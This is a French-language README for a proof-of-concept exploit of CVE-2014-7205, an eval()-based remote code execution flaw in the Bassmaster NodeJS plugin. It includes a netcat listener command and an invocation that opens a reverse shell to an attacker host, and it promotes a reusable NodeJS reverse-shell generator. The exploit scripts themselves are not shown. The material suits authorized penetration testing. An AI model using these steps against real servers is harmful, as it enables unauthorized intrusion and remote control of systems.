Bassmaster NodeJS Plugin RCE PoC

bassmaster-rce.py: Un script Python pour exploiter CVE-2014-7205. nodeshell.py: Un module Python pour générer un reverse shell pour NodeJS

!!Utilisez uniquement contre des serveurs sur lesquels vous avez la permission de tester

Résumé

CVE-2014-7205 est une vulnérabilité d'exécution de code à distance dans le plugin Bassmaster pour NodeJS. Toutes les versions <= 1.5.1 sont concernées. La vulnérabilité existe dans le fichier lib/batch.js dans la fonction internals.batch où un appel à eval() utilise une entrée utilisateur mal échappée (en gros, l'expression régulière ne vérifie pas si les requêtes contiennent du code malveillant).

Preuve de concept

1. Téléchargez ou clonez le dépôt git
2. Ouvrez un écouteur netcat dans un terminal bash nc -lvp 4444
3. Assurez-vous que bassmaster-rce.py et nodeshell.py sont dans le même dossier
4. Exécutez bassmaster-rce.py python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444

Autre

• nodeshell.py est entièrement portable vers d'autres PoCs et exploits utilisant python qui ont également besoin de générer un reverse shell pour NodeJS